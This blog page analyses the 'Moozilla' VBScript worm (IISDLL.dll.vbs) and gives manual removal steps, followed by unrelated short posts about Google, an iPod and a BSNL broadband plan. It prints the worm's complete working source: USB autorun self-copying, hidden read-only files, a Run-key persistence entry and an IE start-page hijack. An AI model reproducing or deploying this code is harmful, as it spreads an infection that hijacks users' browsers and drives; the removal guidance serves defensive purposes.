Browse and Explorer Hijack ?

Yes. IE gets hijacked after the infection and whenevr IE is opened up, home page gets hijacked and re-routed to http://www.lastchaos.in.th/ .

Apart from the browser hijack, it hacks the windows explorer. In a infected machine, left double click will not work to open the drives under the windows explorer. Right click and open or explore will do that. So, it hijacks the IE and also the windows explorer.

File and Location

The file name which does this hack is IISDLL.dll.vbs and its location is in c:\IISDLL.dll.vbs and C:\Windows\IISDLL.dll.vbs.

The file has read-only attribute and does not allow to make changes to it. One need to change the attibute for making changes to the file.

Mode of Infection?

Going by the script, the mode of infection is through flash or thumb drives. Be careful with yours as machines are rapidly infected with this file.

Solution?

Have tried cleaning the machines with all AV software I could think of and nothing seems to work. I am planning to write a counter script to nullify this one. Till then watch this space for a proper solution.

Where is the script?

If your machine is infected, you can locate the file and right click and edit it with a notepad. If your machine is not infected but you are curious to know what the script does, see below.

IISDLL.dll.vbs

‘My name is Sukorn test script for bootsecter
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe IISDLL.dll.vbs”
set fs = createobject(“Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\IISDLL.dll.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\IISDLL.dll.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\IISDLL.dll.vbs”)
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
set tf=fs.getfile(flashdrive.path &”\IISDLL.dll.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\IISDLL.dll.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\IISDLL.dll.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set rg = createobject(“WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,winpath&”\IISDLL.dll.vbs”
rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”Hacked by MOOzilla”
rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page”,”http://www.lastchaos.in.th/”
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject(“Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

Update

What this moozilla does?

Moozilla hijack is not a malicious program to damage the machine. It is a small windows vb script to hijack the start page of your browser to some Thailand site. The autorun.inf file gets copied to the flash drive from a infected machine. When the flash drive is inserted in another machine, the autoplay feature activates the autotun.inf and copies the ISSDLL.vbs and autorun.inf files to all the drives except A:\ . May be the script writer likes floppy very much.

Have removed the hacked by moozilla browser hijacker off my machine.
Here are the manual removal instructions. Watch this space for an automated script to remove the hijack off the machine.

Disclaimer

The solution given here worked for me and it may or may not work for you. In no way, I am responsible if anything happens to your machine after following the steps given below. if the solution helped you, leave a comment down which will make me smile and increase a day my lifetime. You can leave a comment if it did not work, but show some courtesy. I don’t want blood oozing out of my ears after reading your comments.

Manual Removal Instructions for Moozilla browser hijack

1. Start the Windows in Safe mode. Read Instructions on how to start the Windows in Safe mode.

2. Take out the USB storage devices if any plugged in. Any flash or thumb drives.

3. Open My Computer and look for the number of drives you have. You may have around 3 to 5 drives apart from the A:\ (if you have floppy) or an optical drive (CD or DVD drives).

4. Each drive will be marked by letters like E: ,F: etc;

To make the computer to show hidden files and fodlers, click tools in My computer and click folder options and click view. In the series of check boxes and radio buttons, do the following three things.

a. Click Show hidden files and folders.

b. Uncheck the box Hide extensions for known file types.

c. Uncheck the box Hide Protected Operating system files (Recommended).

5. Click Start and click Run Type C:\ and hit enter.

6. Look out for the files named autorun.inf and ISSDLL.dll.vbs. Select them one by one and hit shift+delete keys together.

Navigate to the windows folder under C:\drive and look for the same files and sgift+delete them.

7. In the same way, follow the steps for all the drives listed under MY Computer.

8. Click Start and click Run. Type regedit and click OK. This will open the registry editor.

9. Back up the registry before making any changes to it as it may cause dangerous implications to the machine. Read how to backup windows registry?

10. Navigate to the key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\ and delete Start Page on the right hand side.

Navigate to the key HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\ and delete Window Title on the right hand side.

Navigate to the key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run and delete MS32DLL on the right hand side.

11. Restart the machine and Open IE and windows explorer to see that moozilla is gone. Enjoy!

A few of my colleagues know that I use google to the max. The other day, we were chatting about FM stations available in chennai which brought up a small argument. One of my mangers was around and he started commenting to a colleague.

” I know the next thing he (me) is gonna do is google out FM stations in chennai“.

I was done with it before he had finished his statement.
How do you think google helps you? Do you love it or hate it? Scribble here!
P.S.:-

I still remember an episode when I found out that people search for a lot of curious things. Thanks to IE’s Auto-complete, I was searching for something starting with the letter S and the first suggestion from IE was Shakila (the most famous malayalam actress) . A die-hard Shakila fan has not spared office PC too.

As I wanted to do more with my iPod than music and video , I worked a bit to integrate my google calendar and tada! did it . Downloaded all my calendars from google into the calendars folder in iPod. Now I have the FIFA Worldcup 2006 schedule , ICC Cricket World Cup 2007 Schedule , my office shift schedule etc;
A few more hours on the internet taught me to use the notes feature in iPod. I stumbled upon a site which hosts free iPod eBooks. A few clicks got the ebooks like How to Speak and Write Correctly by Joseph Devlin , The World War and What was Behind It by Louis P. Benezet (86) into my iPod. The one feature I have yet to dig is the photos. I hope to work on it by tomorrow morning.

Overall, I will say that iPod video is really a awesome product with extra feture other than music and video. Only thing is that, people should know how to and where to find hacks and resources for it.

I checked with Data One customer service at 1800-424-1600 and confirmed the same with them. But, I really hate BSNL’s way of changing plans for existing customers. A lady at the call centre informed me that change of plans can be done only after filing a form with the local telephone exchange. Moreover, the plan change will come into effect only by the next billing cycle. And the irony is that India’s largest broadband service provider does not have a web portal for switching plans. Typical government business practices.

Whatever, I am happy that they have brought the sought over change at last. Here is the advertisement from BSNL’s site.

Stefan is not a rich guy to shell out all the money on a high-end PC or a notebook. He has sub 500 Mhz IBM Think pad. Now, he wants to get into the world of Apple with a Intel iMac. Too big of a wish? News is that he is gonna buy it soon with donations. He has setup his blog to ask donations from people. Believe it or not,he has accumulated $465 in just two days. And the donations through paypal seems to be pouring in. He has added a wiki page for all the donation statistics and also has added two youtube videos to strengthen the cause.
It would not be long, when guys start asking donations for ipod,digital cameras and every gadget that is available.